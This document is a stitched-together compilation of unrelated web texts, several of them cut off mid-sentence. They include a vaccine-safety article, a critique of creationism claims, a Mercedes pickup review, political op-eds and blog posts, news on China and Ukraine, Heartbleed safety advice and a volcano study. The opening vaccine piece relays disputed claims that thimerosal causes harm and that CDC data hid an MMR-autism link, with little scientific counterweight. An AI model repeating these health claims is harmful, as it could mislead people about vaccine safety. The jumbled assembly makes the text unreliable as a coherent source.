Starting in 2001, the CDC began to reduce or eliminate thimerosal in vaccines given to children under six years old as a “precautionary measure.”The concern was that some children vaccinated according to government recommendations might be exposed to mercury levels that exceeded what was deemed safe.
Thimerosal has been used in vaccines since the 1930s and has been at the heart of a heated safety debate in the United States. The official position of the CDC and World Health Organization is that there is no evidence of harm from thimerosal in vaccines.
Their explanation is that the form of mercury used in vaccines, called ethyl mercury, does not accumulate in the body like the methyl mercury, which is the type found in seafood and that most of the dangers associated with mercury are linked to.
Doctors, independent researchers, and at least one current and one former CDC scientist, however, say evidence for the safety of vaccines and/or thimerosal is lacking. Or that the evidence points directly to harm.
Kennedy points to reams of evidence he says show mercury is toxic, including the form used in vaccines.
Kennedy says he has had several conversations with Donald Trump since he was elected president about forming a vaccine safety commission.
De Niro has a son with autism whom he says changed overnight after being vaccinated. The star made headlines last May after he decided to pull the film “Vaxxed” from the Tribeca film festival, a move which he later said he regretted.
“Vaxxed” is a documentary about the secretly taped confessions of senior CDC scientist William Thompson who said that he and colleagues intentionally manipulated data in a major vaccine safety study. According to Thompson, they removed a correlation found between autism and the MMR vaccine given to very young African American boys. Thompson has turned thousands of files over to Congressman Bill Posey, who in 2015 called for an investigation into the issue. This investigation has not yet taken place.
Both Kennedy and De Niro do not believe a thimerosal safety study exists that could win the $100,000 prize.
“As far as the Founding Fathers were concerned, they’d already had the entire debate over creation and evolution, and you get Thomas Paine, who is the least religious Founding Father, saying you’ve got to teach Creation science in the classroom. Scientific method demands that.”
As head-shakingly frustrating it is to think that someone could make such a claim when the historical facts refuting it are so obvious, it’s actually standard Barton fare. Little different than his statement that Jesus opposed the minimum wage or that the bible takes a stand against net neutrality.
One of Barton’s chief tricks is to conflate two concepts and treat them as the same thing. In this case, he references the 1968 Supreme Court decision of Epperson v Arkansas in which the court ruled that laws prohibiting the teaching of evolution were based on religious objections and therefore violated the First Amendment.
On his WallBuilder website, he says the subject of evolution predates the birth of Christ. And that’s a little bit true, as long as one is defining evolution solely at an incredibly primitive level.
But that’s not what he’s referring to when he speaks of the “creation evolution debate.” Rather, he’s talking about the very foundation of all of modern biology, a theory that encompasses myriad scientific disciplines, and for which there is more evidence than gravity.
Barton is arguing that because the Founding Fathers discussed the concept of evolution based on the philosophy of the day, we should be teaching creationism in public schools.
As he says in the video, “They had the entire debate on creation evolution.” So I guess nothing more to see here folks. The matter is settled. Don’t bother reading about the vast amounts of scientific strides that have taken place since 1787.
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Mercedes—whose corporate parent Daimler has a rich history as a maker of commercial trucks—didn’t try to reinvent the wheel in creating its first ever pickup, nor did its engineers take a GLE-class SUV and add a pickup bed. Instead, they drew from business partner Nissan and its Europe-built Navara—the successor to the Frontier that Nissan still sells in the United States. The Nissan pickup has a reputation for toughness and reliability, and the latest Navara replaced the traditional leaf springs for the rear axle with coil springs. That was key to enabling the kind of handling and ride comfort that Daimler had in mind. The mid-size X-class needs to be a tough workhorse just as much as a comfortable long-distance cruiser.
The finished X-class shares its ladder frame and a number of nonvisible parts with the Nissan, but hunting for obvious similarities turned out to be frustrating (or encouraging, depending on how you look at it). The X-class is a very different vehicle from the Navara, but it won’t be offered in the U.S., the world’s most competitive pickup-truck market.
Wider and Higher
If it looks more substantial than the Nissan, that’s because Daimler has widened the track—and the bodywork—by a full 2.8 inches. The two trucks will be built on the same assembly lines, but no exterior sheetmetal or glass is interchangeable. The door geometry—the hinges, latches, and their locations—is the same, but the panels are all brand specific.
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The X-class looks good, with a front end dominated by the large three-pointed star and an overall design similar to Benz’s SUV models. The rear end with its slim vertical taillights reminds us of a concept car, especially when fitted with the LED front and rear lighting that comes with upper trim levels.
The widened body allows more generous interior space than the Navara offers. Mercedes has raised the rear-seat bottom to deliver more comfort—in the back seat of the crew-cab Nissan, the only cab style available in the X-class, you can feel like a half-folded pocketknife—although tall adults will lack for headroom. There is a lot more sound insulation than in the Nissan, and the Germans have added structural elements to the frame in order to reduce noise, vibrations, and harshness.
The interior is dominated by a concave dashboard; the instruments, central screen, HVAC controls, and the optional, touch-sensitive COMAND infotainment system come straight from the Mercedes-Benz passenger-car parts bin. In the standard trim, called Pure, the look is somewhat frugal with a lot of hard plastic, but most of the electronic goodies are aboard, including the latest driver-assistance safety systems. The mid-level Progressive trim brings a bit more fabric to the cabin and also exterior niceties such as body-color bumpers. But it takes the top-of-the-line Power trim to give the X-class the appearance of an upmarket vehicle, with stitched faux leather applied to the dashboard and the inner door panels. Aluminum and wood trim are options.
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The X-class falls short of its premium aspirations when carryover parts from Nissan are used. These include the dome light, the switches for the seat heaters, and, we suspect, the automatic gear selector that sprouts from the console. The X-class also needs far more stowage space in the cabin, where only the door pockets are sufficiently large—the center-console bin, the cupholders, and the glovebox are all tiny.
All Turbo-Diesel, All the Time
We drove the X250d 4Matic, which is rated at 187 horsepower and 332 lb-ft of torque from its Nissan-built sequentially turbocharged 2.3-liter diesel inline-four. The entry-level X220d, which was not made available to drive, has a similar four-cylinder but with only one turbocharger and is rated at 161 horsepower and 297 lb-ft. Both engines come with a six-speed manual as standard, but a Nissan-built seven-speed automatic is available on the X250d. With the automatic transmission and optional all-wheel-drive system, the X250d will reach 62 mph in a somewhat leisurely 11.8 seconds and top out at 109 mph, by Daimler’s reckoning.
The dual turbo usually needs a moment to react to driver input, and it sounds a bit strained under full throttle. The power-sapping automatic is not particularly quick to respond, either, so it is best to restrain your aspirations and just go with the flow of traffic. Then you can enjoy the comfy ride and the remarkably well-isolated cabin.
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There was a stick-shift X250d on hand, and while that six-speed gearbox is based on a Nissan design, Daimler developed a cable-linkage system exclusively for the X-class. The effect is clearly noticeable: There is absolutely no vibration in the shifter, and except for its long throws, the gearbox could pass for a passenger car’s. The manual beats the automatic, hands down. (A few select markets, by the way, will see an entry-level X-class with a manual gearbox, rear-wheel drive, and a naturally aspirated 2.0-liter gasoline engine.)
The chassis is capable of dealing with the worst off-road conditions, but it is also comfortable and surprisingly capable of spirited on-road driving. The limits of adhesion are higher than the competition’s, and it’s possible to move the tail around a bit if you feel so compelled, although the X-class’s stability control will frown upon the exercise and intervene promptly. The steering is good for a pickup, not as overboosted as on most other trucks, but don’t expect the X-class to reach even SUV standards for handling prowess. There is considerable body roll, too.
Need More Grunt? Wait for It
More power will be available via the X350d 4Matic slated for a 2018 calendar year launch and fitted with Benz’s own, smooth turbo-diesel 3.0-liter V-6 and seven-speed automatic with shift paddles. It also will offer several driving modes and permanent all-wheel drive. Rated at 254 horsepower and 406 lb-ft, the V-6 should easily allow for zero-to-60-mph times below nine seconds and a terminal velocity beyond 125 mph. We weren’t allowed to drive this model, but we did catch a ride in one on closed roads at a surreal pace; the X350d stands poised to offer the most fun you can have in a pickup of this size—if you live in Europe.
President Barack Obama heads into the home stretch of the 2012 campaign in an unusual situation for a Democrat. On matters of foreign policy and defense, Obama enjoys considerably more public confidence than his Republican challenger. For decades, the public has seen Republican presidential candidates as better qualified to handle matters of national security. But Obama has bucked the trend and effectively cornered the market when it comes to fulfilling the role of commander-in-chief and conducting U.S. statecraft.
Our colleague and sparring partner Peter Feaver, in rebutting our recent critique of Mitt Romney’s foreign policy, also offers a take-down of Obama’s diplomacy. While Feaver claims to give Obama credit as due, it is at best stingy, couched, and caveated credit. Sure, he says, Obama did the right thing by orchestrating a surge of U.S. troops into Afghanistan — but he then marred that decision by announcing an "arbitrary" timeline for withdrawal. Feaver gives Obama plaudits for unprecedented sanctions and other coercive measures against Iran — but then says the White House just "went along with the British and French and the U.S. Congress," who really deserve the credit for the initiatives.
Feaver also claims that whenever the White House has gotten it right, it has done so by "following in the path of Obama’s Republican predecessor." We take issue with this characterization. Obama’s statecraft depends in important ways on its clear departure from the policies of George W. Bush. Nonetheless, it’s encouraging that a leading Republican voice on foreign policy finds merit in Obama’s foreign policy and asserts that, at least in some respects, it is "fully consistent" with what a Republican successor would do. If Feaver wants to credit Republicans for some of the policies Obama is pursuing, so be it; bipartisanship is very hard to come by these days and should be grasped whenever available.
We accept that Obama’s foreign policy has had its shortcomings. We’re both on the record, for example, expressing misgivings about some aspects of his approach to Afghanistan. But our net assessment is a very positive one. Obama has offered a brand of U.S. statecraft far more effective than what Bush had to offer, or what Romney promises.
Obama has enjoyed considerable success on three main fronts: managing the Bush legacy, renewing multilateral engagement, and affirmatively forging a long-term strategy geared to the emerging global agenda of the 21st century.
Managing the Bush Legacy: With draining wars in Iraq and Afghanistan, coupled with a deepening financial crisis, Bush handed Obama more than a full plate. The Iraq war was a huge strategic blunder that threatened to empower Iran and ignite a sectarian divide throughout the region. Nonetheless, Obama succeeded in implementing a responsible U.S. withdrawal, leaving behind a reasonably stable country. Iraq is not out of the woods, but it is headed in the right direction. Meanwhile, in response to the growing threat from Iran, Obama has ramped up sanctions, increased the U.S. naval presence in the region, beefed up missile-defense capabilities, and tightened military ties with allies in the Persian Gulf. Iran is isolated in its own neighborhood and would face a powerful military coalition should it seek to stir up trouble in the Gulf.
As for Afghanistan, Obama sent an additional 30,000 U.S. soldiers to finish dismantling al Qaeda, further degrade the Taliban, and help create conducive conditions for the Afghan government and its security forces to mature. He also increased the use of drone strikes on militants in Pakistan who have been aiding and abetting insurgents in Afghanistan. As Obama sticks to his scheduled drawdown of U.S. troops, the capacities of the Afghan government and its security forces have fallen short of expectations, and the Taliban have proved more resilient than expected. But coalition forces have accomplished their main objective — effectively eradicating al Qaeda in Afghanistan. It is past time to begin handing off increasing responsibility for the country to the Afghan people themselves.
On counterterrorism more broadly, Obama wisely toned down talk of a global war on terrorism and shrewdly focused on going after al Qaeda, taking out terrorist leaders (yes, including Osama bin Laden, but numerous others as well), and taking on al Qaeda affiliates and other terrorist groups in Pakistan, Yemen, Somalia, and elsewhere. He did not close Guantanamo, nor did he completely overhaul the legal procedures for handling detainees. As Feaver correctly points out, presidents often do find more areas of continuity than they expect. But these continuities do not compromise the fundamental and effective nature of the broader shifts in counterterrorism strategy orchestrated during Obama’s watch.
Renewing Multilateral Engagement: Obama has restored to American leadership in the world an appropriate balance between power and partnership. The Bush administration relied too heavily on power and bravado alone — a mistake that Romney seems all too prepared to repeat – failing to understand that brute force and intimidation often do more to invite resistance and resentment than acquiescence and deference. Instead, Obama has resuscitated the centrist brand of U.S. internationalism that proved so successful during the 20th century. Washington has returned to the tradition of leading through persuasion and teamwork, relying on coercion only as a last resort.
Republicans regularly counter that Obama has provided weak and vacillating leadership. But they mistake prudence and pragmatism for weakness. To be sure, Obama’s statecraft lacks the hard edges and black-and-white absolutes of his predecessor’s. But that is one of the main reasons for its success.
Allies again feel like partners that matter, not objects of American power. The United
States has shored up its alliances in East Asia. All nine European countries recently surveyed by Pew had more positive views of the United States in 2012 than 2008 — including, by the way, Poland, a country that Republicans mistakenly claim Obama abandoned when he revamped plans for missile defense. "Leading from behind" may have been unfortunate phrasing when an administration official first used it to describe Washington’s management of the coalition formed to intervene in Libya. But the Libya mission, in which Europeans flew the lion’s share of air sorties and some Arab states joined in, is a good model for a world in which U.S. allies shoulder their fair share of the heavy lifting.
Relations with the Arab world are on a much better footing. Obama’s speech in Cairo in 2009 set the stage for a more productive dialogue about Islam, political change, and the U.S. role in the Middle East. To be sure, America’s regional engagement has had its ups and downs, especially amid the upheaval sweeping the Arab world. Nonetheless, a deeper sense of mutual understanding helps advance America’s interests in the region. The fact that the Egyptian revolution was anti-Hosni Mubarak — and not anti-American — was a telling and positive sign in this regard.
Finally, Obama has replaced talk of the "axis of evil" with a readiness to engage adversaries. Washington’s outreach is not, as Republicans would have it, a naïve form of appeasement nor an apology for American hegemony; rather, it is bold and courageous diplomacy. Relations between Moscow and Washington have been more difficult of late, in no small part due to Russian President Vladimir Putin’s alignment with the Syrian government and his crackdown on the political opposition at home. But the "reset" between Russia and the United States has yielded significant progress on a number of important issues, including nuclear arms control, Afghanistan, and diplomacy with Iran. Patient engagement with Myanmar is now paying off; diplomatic and commercial contacts have deepened in step with political liberalization.
Engagement does not always produce quick results. Obama’s outreach to Tehran has yet to be reciprocated. But a diplomatic breakthrough is still possible. Meanwhile, Obama has imposed ever tighter sanctions and taken other steps to disrupt Iran’s nuclear program. And if Tehran continues to refuse cooperation, Obama still holds the option of a military strike in reserve. In this year’s State of the Union, Obama insisted that he "would take no options off the table" in preventing Iran from acquiring nuclear weapons. In March, he followed up, noting that the Iranians "recognize that when the United States says it is unacceptable for Iran to have a nuclear weapon, we mean what we say." Obama’s approach hardly represents appeasement; it is coercive diplomacy backed up by the threat of force. Meanwhile, U.S. officials have been beating a path to Jerusalem to consult and coordinate with Israel, which has been having its own robust debate over the military option.
These accomplishments take place against the backdrop of Washington’s repaired relationship with international institutions. There remain plenty of reasons committed multilateralists should be critical of the United Nations. But the Security Council played a key role in sanctioning the intervention in Libya and in imposing tougher sanctions against Iran, demonstrating the merits of a good working relationship with the United Nations. The Obama administration’s repair of U.S. standing at the U.N. stands in stark contrast to the estrangement that set in during the tenure of Bush’s U.N. ambassador — John Bolton — who happens to be a key adviser to Romney. Whether in the U.N., NATO, the G-20, or the World Bank, the United States enjoys benefits from being a team player rather than an isolated bully.
The bottom line is that Obama, at home and abroad, has restored confidence in American power and purpose. That is no small accomplishment.
A 21st-Century Strategy: Even with the immediate crises and ever-full inbox, Obama has succeeded in broadening the aperture and laying a foundation for a long-term U.S. strategy geared to the emerging challenges and opportunities of the 21st century.
The evolving pivot to Asia is a key component of this rebalancing of priorities. The United States is deepening its commercial and strategic presence in East Asia. This move will ensure that the U.S. economy fully benefits from the region’s economic dynamism. It will also enhance America’s ability to preserve regional stability amid China’s ongoing rise. Washington is seeking to deepen trust and cooperate on shared interests with China, while at the same time firmly deterring the Chinese from resorting to intimidating or aggressive behavior.
Even as the United States pivots to East Asia, Washington continues to face pressing challenges in the Middle East. The clock on Iran’s nuclear program is not ticking as fast as proponents of immediate military action claim, justifying Obama’s diplomatic patience. Nonetheless, a diplomatic breakthrough must soon be in the offing if Tehran wants to avoid a dangerous confrontation. The Israeli-Palestinian issue may have disappeared from the headlines, but the United States remains a key player in getting the peace process back on track. The erosion of trust between Israelis and Palestinians creates a pressing need for the mediation and reassurance that only Washington can provide. The Arab Spring continues to unfold in an uncertain and unpredictable way. Obama is right to pursue a strategy that has its requisites and redlines, but that also differentiates among the unique circumstances in each country experiencing political change. He is also appropriately standing behind the forces of democracy and pluralism, but in a way that avoids blanket opposition to Islamist political forces.
The Obama administration has deepened its engagement with emerging powers around the globe — both bilaterally and through the G-20. The United States enjoys an expanding commercial and strategic partnership with India, as well as broadening ties with Brazil, Turkey, Indonesia, and other regional powers. And Washington continues to offer its best advice as the European Union struggles to stabilize the eurozone. As the international distribution of wealth and power continues to shift, American leadership will remain indispensable to preserving a cooperative, rules-based global order.
On free trade, the Obama administration finalized bilateral agreements with South Korea, Panama, and Colombia. Washington is working toward more open trade in the Asia-Pacific region through the Trans-Pacific Partnership, a framework for ongoing multilateral negotiations. Global trade liberalization, including through the Doha Round of negotiations, has stalled amid the financial crisis and the global slump. But the building blocks are in place for Obama to push ahead on this front in a second term, advancing international openness within a framework of rules-based competition.
Obama has also teed up a rich agenda of other issues to be pursued should he win reelection. Issues addressed in the Democratic Party Platform as well as in recent speeches and actions by the president include: pursuing arms control and counter-proliferation; advancing the Responsibility to Protect and other mechanisms aimed at preventing mass atrocities and related humanitarian emergencies; addressing cybersecurity; promoting global health and development; advancing human rights and democratization; and combating global warming. Progress on some of these fronts has admittedly fallen short of expectations. But a second term would afford Obama the opportunity to put renewed energy behind these objectives.
Finally, Obama is acting on the reality that economic and political renewal at home is the indispensable foundation for strength abroad. Fiscal solvency, a world-class education system, industrial capacity, and technological prowess are essential ingredients of military primacy. So too are economic opportunity and optimism preconditions for political solvency. The bipartisan consensus that guided U.S. foreign policy during the second half of the 20th century rested on the ability of broadly shared prosperity to ameliorate partisan cleavages.
What do Mike Huckabee and Hillary Clinton have in common?
Neither seems to have heard the old Kenney Rogers tune, the refrain of which goes:
"You got to know when to hold em, know when to fold em,
Know when to walk away and know when to run."
Tuesday night's results from Wisconsin were stunning, and telling. But even more telling was what was going on behind the scenes. Taken together with the poll results, if Hillary Clinton took Kenney Rogers' advice above she wouldn't just walk away, she'd sprint for the nearest exit.
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In case you missed it, here's what happened after the polls closed in Wisconsin.
Once it was clear to both campaigns that Obama had definitively won Wisconsin, the Obama folks let the Clinton folks know Obama would wait before he spoke to let Hillary speak first. Their assumption being that she'd concede the Wisconsin race and congratulate Obama for the win.
How little the Barackistas still understand the Clintons. Like Lucy in the Peanuts cartoon, she pulls the football away just as Charlie Brown goes for the kick. And so it came to pass, again -- Hillary, speaking before a crowd in Texas, launched right into a campaign attack speech.
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Furious they'd been had again, the Obama campaign "big footed" Hillary by having Barack begin his speech right there and then. They knew that, as the winner last night, all the networks would switch from Hillary's speech to his -- and that's just what happened. Hillary was blacked out -- right in the middle of her pitch.
Ouch.
But it wasn't "ouch" for those of us watching on TV --- it was deal closer. We were instantly transported from Hillary's sing-song, robotic, entirely predictable remarks, to a soaring address by Obama. (Watch it here)
As I listened to Obama I turned to my wife and said, "it's over."
It was so clear... stunningly clear. The Obama folks may have cut into Hillary's speech in a moment of anger, but in so doing they created a contrast so startling in it's starkness that only the most lobotomized Clinton Moonies could have resisted it. The contrast was so immediate and so stunning it hit me like a truck.
The contrast forced the question on me, and I suspect millions of others who saw and heard it. It reduced all the noise and posturing of this campaign down to a very simple choice:
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Did I want four years of more of the same -- the same poll-tested nostrums, the same all-talk, process-pablum that has, for the past couple of decades masked a failure of either party to govern -- the failure to solve real problems rather than use them as brickbats against "the other side?"
Was that what I wanted?
Or did I want the candidate who was giving this hard-boiled, as-cynical-as-they-come, crusty old reporter goosebumps every time he opened his mouth? Did I want the candidate that included me in his equation, the candidate who didn't just ask for my vote, but my help, should he win. Did I want the candidate that didn't tell me he/she was prepared to do it all FOR me "on day one," but rather that he could not do any of it for me, only WITH me.
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BEIJING, April 16 (Xinhua) -- President Xi Jinping has called for further implementation of a year-long education campaign within the Communist Party of China (CPC) to strengthen Party discipline.
Xi, who is also general secretary of the CPC Central Committee and chairman of the Central Military Commission, made the remarks in an instruction on the campaign, which focuses on the study of the Party Constitution and rules, as well as the speeches made by Xi, and calls for being qualified Party members.
In the instruction read at a meeting held on Sunday, Xi noted that the campaign launched last year had achieved remarkable results.
The campaign has helped with the strict management of the CPC and must be carried on, said Xi.
The campaign should prioritize political training, Party members' words and deeds, the latest theoretical developments and it should guide all to become qualified Party members, Xi noted.
In addition, the campaign must focus on "a key few" leading officials and grassroots party branches. It should also promote a solution-based approach and make full use of role models, according to Xi.
Xi urged CPC committees at various levels to support the campaign and make sure the achievements provide organizational guarantees that will promote balanced economic, political, cultural, social, and ecological progress and coordinated implementation of the Four-Pronged Comprehensive Strategy.
attack and we will liberate our land,” Poroshenko said in a televised address
just after midnight on July 1. “The end of the ceasefire is our response to
terrorists, rebels, looters, all those who mock the civilians who paralyze the
economy of the region; who rip the payment of salaries, pensions, stipends; who
undermine the railroads, destroy water pipes, those who deprive a normal
peaceful life.”
The government’s forces did not waste time, launching their first assaults across Donetsk and Luhansk oblasts even as the president spoke from Kyiv.
Confirming the restart of the counterinsurgency operation was Ukraine’s parliament speaker, Oleksandr Turchynov.
“I had the chance this morning to speak with the interior and defense ministers and can inform you that as of this morning, the active phase of the antiterrorist operation has been renewed,” he told lawmakers early on July 1.
Heavy fighting was reported in the eastern regions from early morning until evening. In Donetsk, separatist gunmen
stormed an Interior Ministry building located on the city’s main drag, Artema
Street, where they exchanged fire with police who are holding pro-Russian
separatists “hostage” inside, according to one rebel fighter.
Another, however, said that the group decided to storm the
building after he and others caught word that police had turned over a list of
pro-Russian activists to Kyiv. One more fighter gave another story, saying that
a group of separatist fighters from nearby Horliva had seized the building –
which is on the Donetsk group’s turf – and that they were attempting to take it
back. The Kyiv Post could not confirm either version of the event.
In Kramatorsk, mortars and missiles rained down from
Ukrainian positions onto insurgents who have controlled the city since April.
Six people were killed and at least five were wounded
when a bus carrying civilians came under fire there, local news site Kramatorsk.INFO reported. Photographs of the scene showed a bullet-riddled
yellow bus and a woman’s body sprawled out in the aisle. It remains unclear
which side opened fire on the bus.
Also in Kramatorsk, the
220-meter high TV tower atop Karachun Hill, where Ukrainian government forces
had been stationed for weeks, was toppled after an apparent explosion snapped
its supports.
Photographs published on the
website of local media and shared on Twitter and Facebook showed massive holes
in the sides of apartment buildings and craters on the streets of nearby
Sloviansk following heavy shelling by Ukrainian troops there.
Igor “Strelkov” Girkin, a Russian citizen and commander of the Sloviansk rebel fighters, said that many civilians in the city and in surrounding villages sustained injuries during the shelling, but that his militia had not suffered any losses, according to pro-Russian blogs.
Meanwhile, two REN TV reporters were wounded
in Luhansk region near the border with Russia when Ukrainian government forces shelled the area, a TV station spokesman
told the Interfax news agency.
“Our
correspondent was injured in Luhansk region, one kilometer from the
Russian-Ukrainian border. A REN TV news crew came under mortar fire near the
Izvaryne border crossing point outside of Luhansk. Presumably a howitzer
projectile exploded near the journalist. Correspondent Denis Lulaga suffered a
concussion. He cannot hear anything. Blood is leaking from his ears,” the TV
station said, adding that a cameraman also suffered a concussion.
Poroshenko’s announcement came after two four-way calls with the leaders of France, Germany and Russia in which they failed to agree on a solution to end the conflict. Last week, a contact group with representatives of Ukraine, Russia, Europe and the separatists met twice in Donetsk in an attempt to find common ground. Those meetings, too, were unsuccessful.
Even during the ceasefire, fighting continued, with separatists violating the deal more than 100 times and killing 27 Ukrainian troops, authorities said.
The president’s decision to end the failed truce was welcomed by some, including Dmitry Tymchuk, a military analyst close to the Ukrainian government and director of the Kyiv-based Information Resistance think tank. He praised the move, saying, “every day the truce, whatever its political significance, provided tangible reinforcement to the terrorists from a military point of new.”
“A longer truce period would give terrorists a chance to drastically increase their combat readiness,” he added.
For its part, Russia urged Ukraine to reinstall the ceasefire.
“We demand that the Ukrainian authorities refrain from shelling civilian cities and villages in their own country, return to a real, not a fake, ceasefire to safeguard the lives of the people,” the Russian foreign ministry said in a statement on July 1.
Russian President Vladimir Putin also spoke out against the restart of Ukraine’s “anti-terrorist operation.”
“Unfortunately, President Poroshenko has decided to resume battle actions. And we could not – I mean myself and my colleagues from Europe – could not convince him that the road to stable, solid and long-term peace can not go through war,” Putin said in Moscow.
Kyiv Post editor Christopher J. Miller can be reached at miller@kyivpost.com and on Twitter at @ChristopherJM.
Editor’s Note: This article has
been produced with travel support from www.mymedia.org.ua, funded by the Ministry of Foreign Affairs of Denmark and implemented
by a joint venture between NIRAS and BBC Media Action, as well as Ukraine Media
Project, managed by Internews and funded by the United States Agency for
International Development. The content is independent of these organizations
When Norton asked Cube if he’d still attend the Feb. 28 ceremony, he responded, “I never used to go anyway. You can’t boycott something you never went to.”
On the topic of the Academy failing to recognize “Straight Outta Compton” — which received an Oscar nod for best original screenplay — in the best picture category, Cube said that being upset about the situation was like “crying about not having enough icing on your cake.”
“We don’t do movies for the industry. We do movies for the fans, for the people,” he said. “If the industry gives you a trophy or not, or pats you on the back or not, it’s nice, but it’s not something you should dwell on.” He added, “We got accolades from all levels. We got so much praise for the movie.”
The controversy surrounding the diversity of the 2016 Oscar nominees has persisted for over a week, leading industry figures like Will Smith, Jada Pinkett Smith and Spike Lee to boycott the 2016 ceremony, and others, like Michael Caine and Charlotte Rampling, to respond to the backlash by suggesting that the actors who weren’t recognized were excluded not for their race, but because their performances weren’t deserving of a nomination.
Though Hollywood’s reaction has been mixed, the Academy announced Friday that, in an attempt to increase the number of women and minority members of the Academy, a series of changes would be applied to its voting and recruitment procedures.
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The Heartbleed SSL vulnerability is making headlines around the world – and misreporting in the press and online is causing confusion. How can you stay safe and ensue your personal details aren’t leaked?
What Is Heartbleed? Well, It’s Not A Virus
You’ve probably heard Heartbleed described as a virus. This isn’t the case: in fact, it is a weakness, a vulnerability in servers running OpenSSL. This is the open source implementation of SSL and TLS, the protocols used for secure connections – those that begin https:// rather than the usual http://.
This vulnerability – more commonly referred to as a bug – essentially creates a hole through which hackers can circumvent the encryption. Confirmed on April 7th 2014, it occurs in all versions of OpenSSL except 1.0.1g. The threat is limited to sites running OpenSSL – other SSL and TLS libraries are available, but OpenSSL is employed widely on servers around the web. A fix for the problem exists, but this may not have been applied to the websites you regularly visit for secure activities. These might be online shopping, gambling and other adult themed websites or even social networking.
As a result, all manner of personal and financial information could be at risk.
To get an idea of how big a deal Heartbleed is (and why it is so-called), Ryan has recently put this Internet-spanning bug into context Massive Bug in OpenSSL Puts Much of Internet At Risk Massive Bug in OpenSSL Puts Much of Internet At Risk If you're one of those people who've always believed that open source cryptography is the most secure way to communicate online, you're in for a bit of a surprise. Read More . We should underline that Heartbleed is an Internet-based vulnerability and therefore affects users of all operating systems, desktop and mobile.
So, it’s a big deal – but what can you do about it?
Ignore The Hype & Don’t Panic
Well, there is one thing you shouldn’t do: panic. A lot has been written across the Internet and in the printed media in the past few days and a lot of it is hype, doom porn that would put the effects of Orson Welles’ famous War of the Worlds radio broadcast to shame.
Much of what you have already seen will have been cobbled together from press releases and other reports by journalists unfamiliar with the terminology and a lack of clear understanding about the risks.
For instance, you might know that you should change your passwords immediately (not entirely true, we should add – see below). But did you know about the phishing risk?
The Phishing Risk
Responsible web services, banks and social networks that have been affected by Heartbleed will drop you an email to let you know that they have repaired the vulnerability and recommend that you change your password.
Naturally, you should do this – but be aware that this situation presents an ideal opportunity to phishers to start sending fake emails, complete with embedded links to the “change password” page – in reality, a website designed to harvest your details.
None of the services you use should recommend you click on a change password link in an email sent unsolicited email. Unfortunately, IFTTT did, as did Pinterest (above). This is bad practice and gives the impression that such a link is acceptable and should be clicked.
Unless you have requested the email, such a link should not be clicked.
Heartbleed password reset emails should not include login links. If they do, delete them, then visit the website by typing the address into your browser (or selecting it from history or favourites depending on how you roll with these thing). From there, reset your password…
…but only if you actually need to at this stage.
Unfortunately, the PR-driven need for companies to look like they are doing something about threats like Heartbleed can prove to be just as damaging as the threat itself.
So, Should You Change Your Passwords?
One of the main pieces of Heartbleed advice in circulation is that you should change your passwords immediately.
All of them.
This, sadly, is an example of the misinformation I referred to in the intro. Say you use the same password for several websites. First of all, this is bad practice and you should reconsider doing it in future (not to mention create more secure passwords Secure Passwords: Generate A Different Password For Every Website Secure Passwords: Generate A Different Password For Every Website Read More ).
Second, if you indiscriminately change all of your passwords, the chances are you’re going to do so on a website that isn’t running on a patched server – one upon which Heartbleed is still a vulnerability.
Inadvertently you have potentially shared your old password and your new password with those that are able to exploit the vulnerability for their identity fraud and spam operations.
As such, you should only change your password on a site-by-site basis when you know they have been patched – that is, the fix has been applied and the vulnerability closed.
Check Which Websites Have Been Patched
Get started by checking which websites are free from the Heartbleed vulnerability.
There are two ways to do this. First, head to Mashable where an up-to-date list of big-name websites affected by Heartbleed can be found, along with advice as to whether you should change your password or not.
For the smaller websites, this excellent search tool will tell you instantly whether or not the site has been patched.
An alternative is the Chromebleed Checker extension for Google Chrome.
If the websites you use have been affected and have not yet patched the Heartbleed vulnerability, avoid logging in until the situation is resolved.
Conclusion: It’s a Waiting Game
Dealing with the Heartbleed storm shouldn’t be a problem for most. Stick to the course we’ve advised above, and don’t change any passwords until you’re instructed to do so by the corresponding websites and services.
You can also use new tools to check if the website you plan on visiting (or even the one you run) has been affected, and whether a fix has been applied.
Most importantly, stay safe and be patient. The potential for Heartbleed to cause massive problems is still there – avoid any websites that require patching until you know that they are now secure.
Scientists think they have found the volcano responsible for a huge eruption that occurred in the 13th Century.
The mystery event in 1257 was so large its chemical signature is recorded in the ice of both the Arctic and the Antarctic.
European medieval texts talk of a sudden cooling of the climate, and of failed harvests.
In the PNAS journal, an international team points the finger at the Samalas Volcano on Lombok Island, Indonesia.
Little remains of the original mountain structure - just a huge crater lake.
The team has tied sulphur and dust traces in the polar ice to a swathe of data gathered in the Lombok region itself, including radiocarbon dates, the type and spread of ejected rock and ash, tree-rings, and even local chronicles that recall the fall of the Lombok Kingdom sometime in the 13th Century.
"The evidence is very strong and compelling," Prof Clive Oppenheimer, from Cambridge University, UK, told the BBC's Science In Action programme.
Co-worker Prof Franck Lavigne, from the Pantheon-Sorbonne University, France, added: "We conducted something similar to a criminal investigation.
Media playback is unsupported on your device Media caption Clive Oppenheimer: "The first clue is evidence from the ice cores"
"We didn't know the culprit at first, but we had the time of the murder and the fingerprints in the form of the geochemistry in the ice cores, and that allowed us to track down the volcano responsible."
The 1257 eruption has been variously linked with volcanoes in Mexico, Ecuador and New Zealand.
But these candidates fail on their dating or geochemistry, the researchers say. Only Samalas can "tick all the boxes".
Global event
The team's studies on Lombok indicate that as much 40 cubic kilometres (10 cubic miles) of rock and ash could have been hurled from the volcano, and that the finest material in the eruption plume would likely have climbed 40km (25 miles) or more into the sky.
It would have had to be this big in order for material to be carried across the entire globe in the quantities seen in the Greenland and Antarctic ice layers.
The impact on the climate would have been significant.
Medieval texts describe atrocious weather the following summer in 1258. It was cold, and the rain was unrelenting, leading to flooding.
Archaeologists recently put a date of 1258 on the skeletons of thousands of people who were buried in mass graves in London.
"We cannot say for sure these two events are linked but the populations would definitely have been stressed," Prof Lavigne told BBC News.
In comparison with recent catastrophic blasts, Samalas was at least as big as Krakatoa (1883) and Tambora (1815), the researchers believe.
The ice cores do hold clues to yet another colossal event in about 1809, but, like Samalas before it, finding the source volcano has been difficult.
Prof Oppenheimer said: "It's outstanding that we haven't come across evidence for it. Where in the world could you bury such bad news?"
require evidence, ignore no known evidence, and follow evidence where it leads, and
are concerned more with finding the best explanation than being right analyzing apparent confusion and asking questions. Self-awareness We are thinking critically when we weigh the influences of motives and bias, and
recognize our own assumptions, prejudices, biases, or point of view. Honesty We are thinking critically when we recognize emotional impulses, selfish motives, nefarious purposes, or other modes of self-deception. Open-mindedness We are thinking critically when we evaluate all reasonable inferences
consider a variety of possible viewpoints or perspectives,
remain open to alternative interpretations
